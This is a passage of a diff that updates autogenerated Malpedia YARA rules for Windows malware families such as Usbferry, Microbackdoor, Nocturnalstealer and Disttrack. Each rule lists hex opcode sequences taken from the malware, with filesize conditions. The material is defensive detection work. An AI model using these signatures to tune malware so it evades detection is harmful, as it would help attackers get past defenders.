$sequence_4 = { eb6a 80bc241d01000000 7409 51 ff15???????? eb57 80bc241e01000000 } - $sequence_5 = { 85c0 740c 8b0d???????? 8b5140 50 ffd2 8d442428 } - $sequence_6 = { 83beb000000000 0f846d030000 83bb5802000000 742c 83bb4087000000 7523 8b8e94000000 } - $sequence_7 = { 33ff 837d3805 89442410 894c2414 897c240c 750e 8bc6 } - $sequence_8 = { 897c2424 83ffff 0f84e8060000 8b2d???????? } - $sequence_9 = { ff25???????? 8d8d48ffffff ff25???????? 8b542408 8d8230ffffff 8b8a2cffffff 33c8 } + $sequence_0 = { 50 8d85f0feffff 50 e8???????? 8b4c371c } + $sequence_1 = { c20c00 3b0d???????? 7503 c20000 e9???????? 8bff } + $sequence_2 = { e8???????? 8b4c371c 8d85f0feffff 2b4c3718 } + $sequence_3 = { 8bf0 85f6 7815 8d45f8 50 e8???????? 8bf0 } + $sequence_4 = { 41 83ef01 75f1 8b85ecfeffff 33c9 0fb7d0 33c0 } + $sequence_5 = { 57 8945e4 33ff 8d45dc } + $sequence_6 = { 8bf0 85f6 7826 6a04 59 } + $sequence_7 = { 6a00 ff7508 8bf0 57 } + $sequence_8 = { 6bf80e 668b450c 6639443712 7408 } + $sequence_9 = { 6a00 ff7508 8bf0 57 e8???????? } condition: - 7 of them and filesize < 704512 + 7 of them and filesize < 41984 } -rule MALPEDIA_Win_Hacksfase_Auto : FILE +rule MALPEDIA_Win_Broler_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "729ac06e-5cdf-534d-872e-f45399aff424" + id = "1cf91de0-5126-5e8f-b11c-1d3db3402e61" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hacksfase_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.broler" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.broler_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "475d936eb0e74e3fe48740a165f50322f1d0bfb51d9d93ce37cd5fe8ac260ab9" + logic_hash = "fcd117231e6be08bdf633689556086666ed79e35ac782c6838a07603ffb215e5" score = 75 quality = 75 tags = "FILE" @@ -95324,32 +95533,32 @@ rule MALPEDIA_Win_Hacksfase_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8965e8 33db 895de0 895de4 895dd8 895ddc 895dfc } - $sequence_1 = { 56 6a02 68???????? 56 ff500c } - $sequence_2 = { 56 ffd3 50 ffd5 56 ff15???????? } - $sequence_3 = { 89442418 894c241c 6a00 6a00 6a00 6a06 6a01 } - $sequence_4 = { 3975b4 7416 3975bc 7411 ff75b4 8bcb } - $sequence_5 = { 7479 bf02000000 8b442414 40 3bc7 89442414 } - $sequence_6 = { e8???????? 8b1d???????? 83c40c 68e8030000 ffd3 6a00 6a00 } - $sequence_7 = { 895dc8 895dd0 ff5064 3bc3 894508 7d5d } - $sequence_8 = { b8???????? e8???????? 83ec0c 8b412c 56 57 } - $sequence_9 = { 33d2 8d0cb6 f7f6 8d0c89 } + $sequence_0 = { 51 6a01 53 ff15???????? 8bf0 ff15???????? 3bf3 } + $sequence_1 = { 68e9fd0000 ff15???????? 8bc6 c6043e00 8d5001 } + $sequence_2 = { c785c0feffff0f000000 899dbcfeffff 889dacfeffff 39b5a4feffff } + $sequence_3 = { 8bf0 8d45d4 3bc6 7461 837de810 720c 8b4dd4 } + $sequence_4 = { 57 8d8da8feffff e8???????? 83c408 33c0 8a4c05f0 8888f8cd4100 } + $sequence_5 = { 8b3d???????? 53 ffd7 56 ffd7 8d8d70fdffff } + $sequence_6 = { b8???????? 8db554ffffff c78568ffffff0f000000 e8???????? 8d8570ffffff } + $sequence_7 = { 8bdf c1fb18 c1f818 81e3ff000000 3283085a4100 8b5d0c } + $sequence_8 = { 3299085a4100 c1fe08 81e6ff000000 8bca c1f908 88580d } + $sequence_9 = { 83fb10 7305 8d5508 8bca 2bc6 83e819 50 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 275456 } -rule MALPEDIA_Win_Chewbacca_Auto : FILE +rule MALPEDIA_Win_Usbferry_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "847304aa-d95d-5b53-bfb8-fe0eb8b688d2" + id = "099a1369-e001-5f55-b4f6-6858d99ec27a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chewbacca_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.usbferry_auto.yar#L1-L163" license_url = "N/A" - logic_hash = "f5f29df4947aa2192c20ef975dcc6c403a1b166aed455b80e47ce170d12533bf" + logic_hash = "a271aa110aa02149e584931e66f43eb3286c2529fb4319139aeea9b3438deb58" score = 75 quality = 75 tags = "FILE" @@ -95363,32 +95572,38 @@ rule MALPEDIA_Win_Chewbacca_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? b909000000 89ee 8b7c2430 f3a6 0f8558010000 89c6 } - $sequence_1 = { e8???????? c7442414c4796800 c7442410cd846800 c744240c1c070000 89442408 c7442404???????? a1???????? } - $sequence_2 = { 8b4324 85c0 7461 c744240c00000000 8d54242c 89542408 c744240400000000 } - $sequence_3 = { e9???????? 8b45fc e8???????? 52 50 8d45b8 e8???????? } - $sequence_4 = { e8???????? c744241cd4686500 c7442418a0836500 c74424147b110000 89442410 c744240c44446500 c7442408???????? } - $sequence_5 = { e8???????? c7042401000000 e8???????? e8???????? 89c3 e8???????? 895c2410 } - $sequence_6 = { e8???????? e8???????? 50 85c0 0f8540040000 b801000000 8d5584 } - $sequence_7 = { e8???????? c744241c84006700 c7442418b7026700 c7442414eb010000 89442410 c744240c64fd6600 c7442408???????? } - $sequence_8 = { e8???????? e8???????? 50 85c0 7516 8d55d4 89d8 } - $sequence_9 = { e8???????? c7442414cb246800 c7442410f3296800 c744240cec040000 89442408 c7442404???????? a1???????? } + $sequence_0 = { 3c4c 750c 0fbec0 42 89442428 } + $sequence_1 = { 83c40c c785b0f7ffff44000000 c785dcf7ffff01000000 33d2 } + $sequence_2 = { ff5018 8bf0 83feff 7504 } + $sequence_3 = { 33c5 8945fc c645f463 c645f56d } + $sequence_4 = { 8b15???????? 8bcb ff7210 898214010000 } + $sequence_5 = { 88441de0 8a0439 88441de1 83c302 } + $sequence_6 = { 83c40c 8d85c4e9ffff 50 a1???????? ff90a4000000 } + $sequence_7 = { e8???????? 8b459c 807b0c67 750c 85c0 } + $sequence_8 = { 8981c8000000 8b09 e8???????? 8b0d???????? } + $sequence_9 = { 8b45cc e9???????? 8b55e0 52 ff15???????? 837d1401 0f8583000000 } + $sequence_10 = { 50 e8???????? 83c40c 8b4d08 51 8d55f4 } + $sequence_11 = { 7547 6a04 8d4d1c 51 8b5514 52 } + $sequence_12 = { 50 8d8db0f7ffff 51 6a00 6a00 6800000008 6a00 } + $sequence_13 = { c645b45c c645b54d c645b669 c645b763 } + $sequence_14 = { 83c009 eb4d 84db 0f94c0 83c00b eb43 } + $sequence_15 = { c3 3b0d???????? f27502 f2c3 f2e960030000 55 } condition: - 7 of them and filesize < 9764864 + 7 of them and filesize < 638976 } -rule MALPEDIA_Win_Ployx_Auto : FILE +rule MALPEDIA_Win_Donex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "61ab771e-15a5-5bf0-85c3-97759fe60e6e" + id = "a59c3405-5607-5fba-8e4b-94db509c7ebd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ployx_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.donex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.donex_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "cb7aed624d5d0c844199f7121f6160ab6100f3d910b00c22bede0a77fbaeb62d" + logic_hash = "34b4db6a7ff26120108a4a0b63d1aeaf3b7a5f8d055f37299085290aeaa32538" score = 75 quality = 75 tags = "FILE" @@ -95402,32 +95617,32 @@ rule MALPEDIA_Win_Ployx_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85a4feffff 68???????? 50 e8???????? 8d85a4feffff 68???????? 50 } - $sequence_1 = { 81f9???????? 7ce7 5b 8bc6 5f 5e c20400 } - $sequence_2 = { 83c418 8945f4 85c0 746f 50 e8???????? 50 } - $sequence_3 = { e8???????? 8bf8 8b4d08 47 47 8d0437 50 } - $sequence_4 = { 0f8584000000 8d45d4 50 e8???????? } - $sequence_5 = { 03c1 99 f7f9 8bf2 83c608 85f6 7e42 } - $sequence_6 = { 33ff 99 59 f7f9 8bc2 03c1 99 } - $sequence_7 = { aa 53 8d442414 50 ff15???????? 8d442410 68???????? } - $sequence_8 = { 880c30 40 0fb64dfc 8a89d8302700 880c30 40 0fb6ca } - $sequence_9 = { 83c42c 0005???????? bd???????? bb04010000 55 53 } + $sequence_0 = { 8b55c8 33f6 8bf8 0facd012 c1e70e 0bf0 c1ea12 } + $sequence_1 = { 55 8bec 8b4508 53 bb01000000 85c0 7503 } + $sequence_2 = { 894d18 c744b30400000000 3bce 72ae 8b4508 c1e602 56 } + $sequence_3 = { 33c8 8b45f4 c1e808 0fb6c0 c1e108 0fb680488d4300 33c8 } + $sequence_4 = { 03c2 894db0 8bd0 8945f4 c1cf02 8bcf c1c205 } + $sequence_5 = { 8b5508 8b7a0c 8b7210 8b4a08 8b5214 } + $sequence_6 = { 85ff 0f85d4030000 8b7de8 8d45c8 50 57 } + $sequence_7 = { 33c9 83c408 668908 8b45ec 83f803 7405 83f804 } + $sequence_8 = { c1e902 f3a5 8bca 83e103 f3a4 8b7df8 4f } + $sequence_9 = { 740f 83fe09 740a 83fe0d 7405 83fe0a 751a } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 505856 } -rule MALPEDIA_Win_Clipog_Auto : FILE +rule MALPEDIA_Win_Defray_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "40f61fa4-a638-5725-b8b6-91b34a21950a" + id = "c67cc17c-f08c-53a6-ada6-8bb99660ec4c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clipog" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clipog_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.defray_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "9ab729847c05f2fd79a1197d1bbe3eecdfb3d818a19100d3fd94f6d00b4e49b5" + logic_hash = "e0802b8bc0edda2578b1a81d41f729faf3574dbf8b45d2b645404d3734d8c95f" score = 75 quality = 75 tags = "FILE" @@ -95441,34 +95656,34 @@ rule MALPEDIA_Win_Clipog_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b4b18 6685c0 740c 488d1552e70100 } - $sequence_1 = { 488d1552e70100 e9???????? 488d154ae70100 e9???????? b910000000 } - $sequence_2 = { 760c 488d0d5fec0100 e8???????? 48397b18 730d 488bd7 } - $sequence_3 = { 753b 488b41f8 483bc1 7338 482bc8 4883f908 7235 } - $sequence_4 = { 4883f808 725d 48ffc0 488b4c2448 493bc4 7606 e8???????? } - $sequence_5 = { 488bda 4c8d0d1fbc0000 8bf9 488d1586a10000 b906000000 4c8d0502bc0000 e8???????? } - $sequence_6 = { 488b05???????? 4833c4 488985a0040000 4c8b95f8040000 488d0524160100 0f1000 } - $sequence_7 = { 488d158ee80100 e9???????? b910000000 ff15???????? 488b4b18 } - $sequence_8 = { e8???????? 90 4c8d0556ea0100 488bd0 } - $sequence_9 = { 488d1599100200 488d0d9a100200 e8???????? 488bd8 488d4c2430 48837c244810 480f434c2430 } + $sequence_0 = { b86effffff 5e 8be5 5d c3 8d4102 8906 } + $sequence_1 = { 8be5 5d c3 8b4d08 8d041e 5f 5e } + $sequence_2 = { 0f84cf020000 83f8ff 0f84c6020000 6880000000 ffd6 50 } + $sequence_3 = { 83c40c 83601000 8b4df0 68???????? 8d4918 e8???????? 8d45ec } + $sequence_4 = { e8???????? f6450801 59 740d 68b8000000 56 } + $sequence_5 = { 66a5 8dbdbefcffff be???????? ab ab ab ab } + $sequence_6 = { 33c0 663b88f0724700 740d 83c002 83f814 72ef 33c0 } + $sequence_7 = { 33ff 393d???????? 7e79 33db 6800001000 e8???????? 8bf0 } + $sequence_8 = { a5 a5 66a5 8dbdbef6ffff be???????? ab ab } + $sequence_9 = { 0fb7c7 894de8 884dd8 8d4dd8 6a08 8945d4 c745ec0f000000 } condition: - 7 of them and filesize < 372736 + 7 of them and filesize < 1253376 } -rule MALPEDIA_Win_Sakula_Rat_Auto : FILE +rule MALPEDIA_Win_T34Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5af52a87-4449-5086-85f2-378359f4ae21" + id = "e5720d10-2fbe-56e7-a983-268d042c48b1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sakula_rat_auto.yar#L1-L238" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.t34loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.t34loader_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "58d4e203f11e4dd863a93827734d462109e66a0a903d18e391705e909badfaf0" + logic_hash = "ec0cde05ce06de31a82d86f3a54c045f2d69d36946c25715e1f108cf44d303ce" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -95480,45 +95695,32 @@ rule MALPEDIA_Win_Sakula_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 6800010000 6a00 6a00 68???????? } - $sequence_1 = { b802000000 eb0a f7d8 1bc0 83e0fd } - $sequence_2 = { 83e103 8d8396000000 f3a4 8bc8 8a10 40 84d2 } - $sequence_3 = { 33f6 8d4900 ff15???????? 33d2 b914000000 } - $sequence_4 = { 889c244b010000 48 8d642400 8a4801 40 3acb } - $sequence_5 = { eb05 41 3bce 72dd 8d46ff } - $sequence_6 = { 50 6800040000 57 6a02 51 ff15???????? } - $sequence_7 = { 6a00 6a00 6a00 53 6aff 56 6a00 } - $sequence_8 = { 48895c2420 ff15???????? 33d2 488bcb ff15???????? } - $sequence_9 = { 8b45f8 8b5df4 39d8 721e 741c 29d8 0345fc } - $sequence_10 = { 4c8d4dd7 4c8d05791d0000 488d0d8a1d0000 33d2 ff15???????? } - $sequence_11 = { e8???????? 8b45f0 eb02 31c0 50 ff75fc e8???????? } - $sequence_12 = { 3bc6 745f 4c8d4dcf 4c8d055b1d0000 488d0d7c1f0000 } - $sequence_13 = { 8b4d08 034df8 0fbe11 83fa41 7c16 8b4508 0345f8 } - $sequence_14 = { 488bd8 4885c0 0f84d3000000 8d7e2f 33d2 488bc8 448bc7 } - $sequence_15 = { e8???????? 83f800 7405 8b45ec } - $sequence_16 = { ff15???????? 488bce 488bd8 ff15???????? 488364243800 488364243000 4c8bc6 } - $sequence_17 = { ba14008410 488b01 ff5028 3bc6 747d } - $sequence_18 = { 488b55d7 488b01 488364242000 4c8d0d240f0000 ff9080000000 3bc6 } - $sequence_19 = { 8945f0 83f800 0f84e7000000 6804010000 ff75f0 } - $sequence_20 = { 83f800 742e 8b5d08 8b4df4 8b4114 8903 8b4110 } - $sequence_21 = { 488bce ff15???????? 488364243800 488364243000 8364242800 488364242000 448bc8 } - $sequence_22 = { 689c000000 e8???????? 8945fc 83f800 0f84ab000000 } + $sequence_0 = { 7424 88542438 eb1e 4885c0 7505 4585ff 7414 } + $sequence_1 = { e8???????? 488d542420 488bcb e8???????? 488bcb e8???????? 84c0 } + $sequence_2 = { 743f 803d????????00 7436 48ffc0 4d8d1443 488b4587 48ffc0 } + $sequence_3 = { e8???????? 488b5710 488bc8 4889542420 4c8bcb } + $sequence_4 = { 418ac0 884708 488b542440 488bcf e8???????? 84c0 0f84e6feffff } + $sequence_5 = { 4c8bc7 488d4c2430 488bd6 e8???????? 488d4c2430 e8???????? } + $sequence_6 = { 0f845e010000 488b0f 33db 4885c9 7441 488b4138 483918 } + $sequence_7 = { e8???????? 488bd0 488d4d20 e8???????? 488bd3 488d4d30 e8???????? } + $sequence_8 = { 488d4138 41b806000000 488d15b1370200 483950f0 740c 488b10 4885d2 } + $sequence_9 = { 5f 5e 5d c3 4c8d05d3b50200 498b14e8 8a44fa38 } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 1212416 } -rule MALPEDIA_Win_Sendsafe_Auto : FILE +rule MALPEDIA_Win_Microbackdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "14b9e6b6-2043-58da-b1e8-265e07b21f6c" + id = "d034a3c6-ae16-5b99-83b8-8b1af34e1631" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sendsafe_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.microbackdoor_auto.yar#L1-L174" license_url = "N/A" - logic_hash = "1cc8bf83d06a8d8be9a015120fbe9f24392bb542d1a6aed7e6e2573904d5eeb5" + logic_hash = "aab22f804c7581af6f351afbab65356d1b51594dabf7c74f24bb9a35b014fbaa" score = 75 quality = 75 tags = "FILE" @@ -95532,34 +95734,79 @@ rule MALPEDIA_Win_Sendsafe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b5508 52 8d45bc 50 e8???????? 83c40c 8d4dbc } - $sequence_1 = { eb07 c745dc00000000 0fb645dc 85c0 0f842f010000 8b4dfc 83c110 } - $sequence_2 = { ffd2 83c408 e9???????? 8b4508 8b08 c741146d000000 8b5508 } - $sequence_3 = { b904000000 6bd10e 8b4dfc 33441110 3345f4 8945f4 8b55f4 } - $sequence_4 = { 8b952cfdffff 837a1410 721c 8b8564fcffff 898524fdffff 8b8d2cfdffff 8b11 } - $sequence_5 = { e8???????? 83c414 85c0 0f84e1010000 ff7518 8d4704 57 } - $sequence_6 = { e8???????? 83c408 8b4dfc 89411c 8b5508 8b8214010000 c1e003 } - $sequence_7 = { e9???????? e8???????? 8bd0 89542434 85d2 7511 684f060000 } - $sequence_8 = { eb1e 8b55f4 833a00 7406 c645fe01 eb04 c645fe00 } - $sequence_9 = { ff15???????? 8d5508 52 8b4dfc 83c104 e8???????? 8945f8 } + $sequence_0 = { 33c9 8d45f0 50 51 6a3a } + $sequence_1 = { ffd7 eb06 ff15???????? 8bc6 eb06 } + $sequence_2 = { eb42 0fb6442431 3c5a 7520 837c243400 7419 66837c243200 } + $sequence_3 = { 488dac2410feffff 4881ecf0020000 8bd9 33c9 440fb7ea e8???????? } + $sequence_4 = { 418bce 0fb7de ff15???????? 488d15ea390000 488d4c2450 4c8bc0 } + $sequence_5 = { 66896c2420 ff15???????? 8bce 89742424 } + $sequence_6 = { 59 56 ff15???????? eb06 ff15???????? 8b75f4 } + $sequence_7 = { ff15???????? 488d0d01290000 eb68 488d542430 41b800010000 488bcb e8???????? } + $sequence_8 = { 7412 488d0dfa700000 448bc0 488bd6 e8???????? 03df } + $sequence_9 = { ff15???????? 85c0 0f8599feffff 8d4508 33db 50 } + $sequence_10 = { eb57 4d03c9 498bd7 498bce 43ff54cd08 } + $sequence_11 = { 448bc6 488bd0 488bcf e8???????? 8bf8 85c0 } + $sequence_12 = { 3bfe 7cdd 33c0 40 } + $sequence_13 = { 895d08 e8???????? 83c410 85c0 7467 } + $sequence_14 = { ff15???????? ff75fc ff15???????? ff7508 ff15???????? eb0e ff15???????? } + $sequence_15 = { 8975fc 50 56 56 6a19 ff75f8 ff15???????? } + + condition: + 7 of them and filesize < 123904 +} +rule MALPEDIA_Win_Nocturnalstealer_Auto : FILE +{ + meta: + description = "autogenerated rule brought to you by yara-signator" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "5964c83b-5a1b-5913-a49a-303693a90164" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nocturnalstealer_auto.yar#L1-L134" + license_url = "N/A" + logic_hash = "c662283be69db4ef7dfe1019eca1797cdbfc6ecd9828799d75f57c47594f7be3" + score = 75 + quality = 75 + tags = "FILE" + version = "1" + tool = "yara-signator v0.6.0" + signator_config = "callsandjumps;datarefs;binvalue" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { e9???????? bd01000000 81c717a0fb5f 01ef 81ef17a0fb5f 5d 81e7cfaad32f } + $sequence_1 = { d280e1f107c3 7dbf 41 6c 46 3f a984011afd } + $sequence_2 = { e9???????? 51 b9dd9abe6f 31c8 59 05f1eb6f2f 05b354dc74 } + $sequence_3 = { e9???????? bb74bcf36f f7d3 4b 81cb108dfb7b 81e337e4f765 55 } + $sequence_4 = { c70424009d1a20 891424 ba77a7ee3f 89d3 8b1424 53 89e3 } + $sequence_5 = { e9???????? 58 81c404000000 e9???????? 81f6d544f73f 58 81eb4703df3d } + $sequence_6 = { ff3424 8b0c24 57 e9???????? 58 051ff53d3f 01c6 } + $sequence_7 = { f7d0 2d612e2f1b 053325461d 89c2 58 01542404 5a } + $sequence_8 = { e9???????? 8365d800 c745dcfedf4900 a1???????? 8d4dd8 33c1 8945e0 } + $sequence_9 = { e9???????? 81f2209cfd37 81eaf4ffef7d 81c2d90dace9 e9???????? 890c24 812c2439bc9f73 } condition: - 7 of them and filesize < 3743744 + 7 of them and filesize < 10739712 } -rule MALPEDIA_Win_Hoplight_Auto : FILE +rule MALPEDIA_Win_Disttrack_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c82c3889-c1c1-5b5f-b045-d951cf697dce" + id = "656ce2d7-e23b-52b7-a17b-bd1f83c468f3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hoplight_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.disttrack_auto.yar#L1-L269" license_url = "N/A" - logic_hash = "64af8d5fa666e50115627ed90a11584ace05accbe5176be041c804017c028f5b" + logic_hash = "1a87cbbf3cac3bb5395930782b27d52657176f4eea6766d20ecb09a08d9650c6" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -95571,30 +95818,49 @@ rule MALPEDIA_Win_Hoplight_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b442450 c70000000000 c705????????00000100 b800000100 eb53 488b442440 4889442428 } - $sequence_1 = { 0fb6542434 488b4c2450 e8???????? 488b442450 8b80ccaf0600 488b4c2450 488d8401b8af0100 } - $sequence_2 = { 488bcb 488905???????? ff15???????? 488d158c620400 488bcb 488905???????? ff15???????? } - $sequence_3 = { 488b442428 488b8018020000 4889442428 41b820020000 33d2 488b4c2430 e8???????? } - $sequence_4 = { 4883c004 4889842418020000 8b442414 0faf442424 8944240c 8b442414 0faf442408 } - $sequence_5 = { 488b4878 e8???????? b801000000 eb76 41b800420000 33d2 488b442440 } - $sequence_6 = { 4489442418 4889542410 48894c2408 4883ec48 488b4c2450 e8???????? 89442420 } - $sequence_7 = { 482bc8 488bc1 4883f801 7d0a b814ffffff e9???????? 488b8424d0000000 } + $sequence_0 = { 52 6a00 6a00 6848000700 } + $sequence_1 = { e8???????? 83c404 50 e8???????? 83c404 68???????? ff15???????? } + $sequence_2 = { 53 ff15???????? 5d 5b 8bc7 5f 5e } + $sequence_3 = { ff15???????? 8d45dc 50 ff15???????? 8b4ddc } + $sequence_4 = { 57 e8???????? 6a07 e8???????? 59 c3 6a10 } + $sequence_5 = { 8b4204 8d8c24a4000000 894c2420 c7440434fcc24100 8d4c244c } + $sequence_6 = { ff15???????? 85c0 7406 8b4df0 51 ffd0 83ffff } + $sequence_7 = { 0f85a5000000 33d2 488d4c2470 448d4268 } + $sequence_8 = { 83c1ff 898d14f8ffff 8b9514f8ffff 8a4201 888513f8ffff } + $sequence_9 = { 48397d10 7430 488b4c2430 e8???????? 4c8bc0 488b542430 } + $sequence_10 = { 740c 837d1800 7406 837d1c00 751f } + $sequence_11 = { 8d8424fc000000 50 8d4c2450 e8???????? } + $sequence_12 = { 0f87260a0000 ff248597fa4000 33c0 838df4fbffffff } + $sequence_13 = { 32040e 6a00 8d55f0 52 } + $sequence_14 = { 85c0 750e 80fb2b 7409 80fb2f 0f858c000000 } + $sequence_15 = { 488d9c1de0010000 448be6 48895c2428 4963cc } + $sequence_16 = { e8???????? 85c0 75de 488bcb ff15???????? 33c0 488b8c2460020000 } + $sequence_17 = { 83c804 48397948 0f44d0 eb0e 488b4148 48f7d8 1bd2 } + $sequence_18 = { e8???????? 68???????? 8d4df4 51 c745f408f34100 e8???????? } + $sequence_19 = { 85c0 751a 488d156cb10000 41b810200100 488bcd e8???????? } + $sequence_20 = { c1fe05 c1e106 030cb540174200 eb02 8bca f641247f 759b } + $sequence_21 = { 33f6 56 51 50 52 e8???????? 8945b8 } + $sequence_22 = { c745fc00000000 e8???????? c745fcffffffff 8b5790 8b4204 c7443890b4c24100 } + $sequence_23 = { 8d5c0002 e8???????? 488d542430 448bd8 } + $sequence_24 = { 8b0c8d40174200 83e61f c1e606 89040e 8b45f8 e9???????? } + $sequence_25 = { e8???????? 408ac7 488b8d80020000 4833cc e8???????? 4c8d9c2490030000 498b5b10 } + $sequence_26 = { 8b149540174200 59 c1e006 59 8a4dff 80c901 884c0204 } condition: - 7 of them and filesize < 765952 + 7 of them and filesize < 1112064 } -rule MALPEDIA_Win_Prilex_Auto : FILE +rule MALPEDIA_Win_Poohmilk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ddf38178-7ef1-5c36-b125-6bf3f451e7fb" + id = "cacedc8f-4cf2-5e4c-8224-5986e70d4e19" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prilex_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poohmilk_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "fbaec0a907818a5c45443c868d80b924ff651b8b9668a983a8d7f07c1fa9a7e6" + logic_hash = "15b630d72bc25e1b2f8f69f3f9fe553b37147103f16fa6bc4f49ddd60f0d2e34" score = 75 quality = 75 tags = "FILE" @@ -95608,32 +95874,32 @@ rule MALPEDIA_Win_Prilex_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4ddc ff15???????? 8d4dcc ff15???????? 8d55c4 52 6a00 } - $sequence_1 = { 8d4db0 50 51 8975b0 e8???????? 8b55e8 } - $sequence_2 = { c785d4feffff01000000 8b45c4 50 6a01 ff15???????? } - $sequence_3 = { 8b550c 3b32 0f84d4000000 3bf7 0f84cc000000 8d55b8 } - $sequence_4 = { ff15???????? 50 8b45e0 8d4ddc 50 } - $sequence_5 = { 8bf0 ff15???????? 8d45c8 8d4dcc 50 51 } - $sequence_6 = { 33c0 833a00 0f95c0 0bc8 85c9 7538 c745fc03000000 } - $sequence_7 = { 51 e8???????? 8945d0 c745fc04000000 66c785f8feffff0000 8d95f8feffff } - $sequence_8 = { 8d8dacfdffff 68???????? 52 898d54fdffff c7854cfdffff08400000 } - 